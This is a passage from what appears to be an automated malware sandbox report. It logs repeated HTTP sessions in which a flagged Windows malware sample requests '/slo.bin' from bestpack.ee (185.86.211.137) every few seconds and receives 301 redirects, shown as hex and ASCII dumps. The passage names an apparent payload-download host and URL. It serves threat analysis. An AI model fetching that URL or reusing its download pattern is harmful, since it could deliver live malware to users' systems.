document has moved <a href="https://bestpack.ee/slo.bin">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.11.20	49796	185.86.211.137	80	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 19:02:12.563296080 CEST	163	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: bestpack.ee Cache-Control: no-cache
Sep 27, 2024 19:02:12.780922890 CEST	427	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 27 Sep 2024 17:02:12 GMT Server: Apache Location: https://bestpack.ee/slo.bin Content-Length: 235 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 62 65 73 74 70 61 63 6b 2e 65 65 2f 73 6c 6f 2e 62 69 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://bestpack.ee/slo.bin">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.11.20	49798	185.86.211.137	80	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 19:02:23.909811020 CEST	163	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: bestpack.ee Cache-Control: no-cache
Sep 27, 2024 19:02:24.132325888 CEST	427	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 27 Sep 2024 17:02:24 GMT Server: Apache Location: https://bestpack.ee/slo.bin Content-Length: 235 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 62 65 73 74 70 61 63 6b 2e 65 65 2f 73 6c 6f 2e 62 69 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://bestpack.ee/slo.bin">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.11.20	49800	185.86.211.137	80	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 19:02:35.251364946 CEST	163	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: bestpack.ee Cache-Control: no-cache
Sep 27, 2024 19:02:35.473625898 CEST	427	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 27 Sep 2024 17:02:35 GMT Server: Apache Location: https://bestpack.ee/slo.bin Content-Length: 235 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 62 65 73 74 70 61 63 6b 2e 65 65 2f 73 6c 6f 2e 62 69 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://bestpack.ee/slo.bin">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.11.20	49802	185.86.211.137	80	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 19:02:46.588013887 CEST	163	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: bestpack.ee Cache-Control: no-cache
Sep 27, 2024 19:02:46.806739092 CEST	427	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 27 Sep 2024 17:02:46 GMT Server: Apache Location: https://bestpack.ee/slo.bin Content-Length: 235 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 62 65 73 74 70 61 63 6b 2e 65 65 2f 73 6c 6f 2e 62 69 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://bestpack.ee/slo.bin">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.11.20	49804	185.86.211.137	80	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 19:02:57.990752935 CEST	163	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: bestpack.ee Cache-Control: no-cache
Sep 27, 2024 19:02:58.208281994 CEST	427	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 27 Sep 2024 17:02:58 GMT Server: Apache Location: https://bestpack.ee/slo.bin Content-Length: 235 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 62 65 73 74 70 61 63 6b 2e 65 65 2f 73 6c 6f 2e 62 69 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://bestpack.ee/slo.bin">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.11.20	49806	185.86.211.137	80	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 19:03:09.383183002 CEST	163	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: bestpack.ee Cache-Control: no-cache
Sep 27, 2024 19:03:09.605453014 CEST	427	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 27 Sep 2024 17:03:09 GMT Server: Apache Location: https://bestpack.ee/slo.bin Content-Length: 235 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 62 65 73 74 70 61 63 6b 2e 65 65 2f 73 6c 6f 2e 62 69 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://bestpack.ee/slo.bin">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.11.20	49808	185.86.211.137	80	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 19:03:20.785826921 CEST	163	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: bestpack.ee Cache-Control: no-cache
Sep 27, 2024 19:03:21.004549026 CEST	427	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 27 Sep 2024 17:03:20 GMT Server: Apache Location: https://bestpack.ee/slo.bin Content-Length: 235 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 62 65 73 74 70 61 63 6b 2e 65 65 2f 73 6c 6f 2e 62 69 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://bestpack.ee/slo.bin">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.11.20	49810	185.86.211.137	80	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 19:03:32.174453020 CEST	163	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: bestpack.ee Cache-Control: no-cache
Sep 27, 2024 19:03:32.395390034 CEST	427	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 27 Sep 2024 17:03:32 GMT Server: Apache Location: https://bestpack.ee/slo.bin Content-Length: 235 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 62 65 73 74 70 61 63 6b 2e 65 65 2f 73 6c 6f 2e 62 69 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://bestpack.ee/slo.bin">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.11.20	49812	185.86.211.137	80	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 19:03:43.559664011 CEST	163	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: bestpack.ee Cache-Control: no-cache
Sep 27, 2024 19:03:43.781584978 CEST	427	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 27 Sep 2024 17:03:43 GMT Server: Apache Location: https://bestpack.ee/slo.bin Content-Length: 235 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 62 65 73 74 70 61 63 6b 2e 65 65 2f 73 6c 6f 2e 62 69 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://bestpack.ee/slo.bin">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.11.20	49814	185.86.211.137	80	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 19:03:54.960576057 CEST	163	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: bestpack.ee Cache-Control: no-cache
Sep 27, 2024 19:03:55.177107096 CEST	427	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 27 Sep 2024 17:03:55 GMT Server: Apache Location: https://bestpack.ee/slo.bin Content-Length: 235 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 62 65 73 74 70 61 63 6b 2e 65 65 2f 73 6c 6f 2e 62 69 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://bestpack.ee/slo.bin">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.11.20	49816	185.86.211.137	80	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 19:04:06.319405079 CEST	163	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: bestpack.ee Cache-Control: no-cache
Sep 27, 2024 19:04:06.538369894 CEST	427	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 27 Sep 2024 17:04:06 GMT Server: Apache Location: https://bestpack.ee/slo.bin Content-Length: 235 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 62 65 73 74 70 61 63 6b 2e 65 65 2f 73 6c 6f 2e 62 69 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://bestpack.ee/slo.bin">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.11.20	49818	185.86.211.137	80	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 19:04:17.684366941 CEST	163	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: bestpack.ee Cache-Control: no-cache
Sep 27, 2024 19:04:17.913446903 CEST	427	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 27 Sep 2024 17:04:17 GMT Server: Apache Location: https://bestpack.ee/slo.bin Content-Length: 235 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 62 65 73 74 70 61 63 6b 2e 65 65 2f 73 6c 6f 2e 62 69 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://bestpack.ee/slo.bin">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.11.20	49820	185.86.211.137	80	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 19:04:29.031594038 CEST	163	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: bestpack.ee Cache-Control: no-cache
Sep 27, 2024 19:04:29.252845049 CEST	427	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 27 Sep 2024 17:04:29 GMT Server: Apache Location: https://bestpack.ee/slo.bin Content-Length: 235 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 62 65 73 74 70 61 63 6b 2e 65 65 2f 73 6c 6f 2e 62 69 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://bestpack.ee/slo.bin">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.11.20	49822	185.86.211.137	80	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 19:04:40.389682055 CEST	163	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: bestpack.ee Cache-Control: no-cache
Sep 27, 2024 19:04:40.607471943 CEST	427	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 27 Sep 2024 17:04:40 GMT Server: Apache Location: https://bestpack.ee/slo.bin Content-Length: 235 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 62 65 73 74 70 61 63 6b 2e 65 65 2f 73 6c 6f 2e 62 69 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 